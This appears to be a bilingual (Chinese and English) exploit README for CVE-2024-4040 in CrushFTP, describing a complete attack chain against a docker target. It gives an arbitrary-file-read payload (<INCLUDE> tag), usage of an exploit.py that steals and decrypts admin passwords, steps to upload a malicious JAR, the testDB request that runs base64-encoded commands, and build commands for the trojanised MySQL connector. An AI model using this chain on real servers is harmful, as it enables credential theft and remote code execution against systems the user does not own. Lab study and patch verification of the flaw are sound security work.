Share
## https://sploitus.com/exploit?id=3A3CA30D-8913-5CF8-95E0-D013DA9AF57E
# CVE-2024-4040

## 前言

* 最近看到這個漏洞覺得還挺有趣,拜讀了以下文章並且稍微寫了一下 exploit
    * https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    * https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/

## 靶機

* 使用的是別人的 docker,詳細請參考作者的 GitHub
    * https://github.com/MarkusMcNugen/docker-CrushFTP
```
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
```

## 攻擊流程

### 取得密碼

* 透過 `exploit.py` 以及 `decrypt.java` 取得密碼並且解密,至於原因簡單來說 key 是寫死的,所以可以解開加上可以任意讀檔
* 這邊要注意,如果 default admin 也就是 `crushadmin` 不存在的話,可以嘗試抓 `CrushFTP.log`,裡面有帳號資訊可以參考
    * `<INCLUDE>CrushFTP.log</INCLUDE>`
    * ![](images/log.png)

#### exploit.py

* ![](images/exploit_demo.png)
```
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
```
* 邏輯上是先檢查目標有沒有漏洞,用的是四個預設會存在的帳號並且嘗試取得 `user.XML` 檔案
* 確定有漏洞之後會去取得使用者指定的帳號,如果沒有的話預設會帶入 `crushadmin` 這個預設存在的 admin account
* 取得到密碼之後會用 `decrypt.java` 去解開密碼
* `--shell` 功能是方便看 RCE 過後的結果,透過下面的方式上傳 jar 檔案之後可以指定 `--jar-path` 以及 `--headers` 就可以看到執行命令的結果
    * 要注意的是 `--headers` 中一定要給登入後的 Cookie,例如 `--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
    * `--jar-path` 預設會是 `/tmp/mysql_cmd_db_user_final_with_echo_base64.jar` 如果是不一樣的位置記得要指定路徑,理論上相對路徑也可以但建議使用絕對路徑
    * 要退出打 `exit` 就可以退出了
    * 範例指令 `python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* ![](images/command.png)

### 登入調整映射以及權限

* 登入後訪問 admin
    * ![](images/admin.png)
* 找到 `User Manager` 之後點擊左邊的使用者,可以拖曳自己想要映射的 folder 到 User's Stuff 那邊,最後調整權限,upload 一定要勾
    * ![](images/setting.png)

### 上傳惡意 jar 檔案

* 上傳惡意 jar 檔案,已經編好兩個,一個是 jdk 16 另外一個是 13 的,要看 server 吃的 java 版本是什麼
* 回到 files 點選 upload 之後上傳惡意 jar 檔案
    * ![](images/upload.png)

### RCE

* RCE 的原因簡單來說是有一個 `testDB` 的功能可以自己指定 jar file 以及 driver object,加上可以上傳,把這兩個串起來就可以 RCE 了
```
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
```
* ![](images/result.png)
    * 圖片中的指令為 `id`
    * 在參數 `db_user` 傳入 base64 encode 過後的 command 就可以執行了
* 我個人所改的 mysql connector 是 5.0.4 版本的
* 如果編譯好的兩個版本都不能用的話,我有提供我修改過後的版本,可以依照下面的指令重新編譯
    * `mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar`
    * `cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java`
    * `javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java`
    * `jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *`

# CVE-2024-4040

## Introduction

* Recently, I came across this vulnerability and found it quite interesting. I read the following articles and wrote a brief exploit.
    * https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    * https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

## Target Machine

* I used someone else's docker. For details, please refer to the author's GitHub.
    * https://github.com/MarkusMcNugen/docker-CrushFTP
```
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
```

## Attack Process

### Obtaining Password

* Use `exploit.py` and `decrypt.java` to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files.
* Note that if the default admin, `crushadmin`, does not exist, you can try grabbing `CrushFTP.log` for account information.
    * `<INCLUDE>CrushFTP.log</INCLUDE>`
    * ![](images/log.png)

#### exploit.py

* ![](images/exploit_demo.png)
```
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
```
* The logic first checks if the target is vulnerable using four default accounts and attempts to retrieve the `user.XML` file.
* If the target is confirmed to be vulnerable, it retrieves the user-specified account; if not provided, it defaults to the `crushadmin` admin account.
* After obtaining the password, it uses `decrypt.java` to decrypt the password.
* `--shell` feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify `--jar-path` and `--headers` to see the execution command's result:
    * Note that `--headers` must include the logged-in Cookie, for example, `--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
    * `--jar-path` defaults to `/tmp/mysql_cmd_db_user_final_with_echo_base64.jar`. If it's in a different location, ensure to specify the path. Relative paths theoretically work but absolute paths are recommended.
    * To exit, type `exit`.
    * Example command: `python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* ![](images/command.png)

### Login to Adjust Mapping and Permissions

* Login and visit the admin panel.
    * ![](images/admin.png)
* After finding `User Manager`, click on the user on the left, drag the folder you want to map to User's Stuff, and finally adjust permissions. Ensure that upload is checked.
    * ![](images/setting.png)

### Upload Malicious JAR File

* Upload the malicious JAR file. I have prepared two versions, one for JDK 16 and another for JDK 13, depending on the server's Java version.
* Go back to the files section, click upload, and upload the malicious JAR file.
    * ![](images/upload.png)

### RCE

* The reason for RCE is that there is a `testDB` function where you can specify the JAR file and driver object, and you can upload, combining these to achieve RCE.
```
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
```
* ![](images/result.png)
    * The command in the image is `id`.
    * Pass the base64 encoded command in the `db_user` parameter to execute it.
* I personally modified the MySQL connector version 5.0.4.
* If the two compiled versions don't work, I provide my modified version, which can be recompiled with the following commands:
    * `mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar`
    * `cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java`
    * `javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java`
    * `jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *`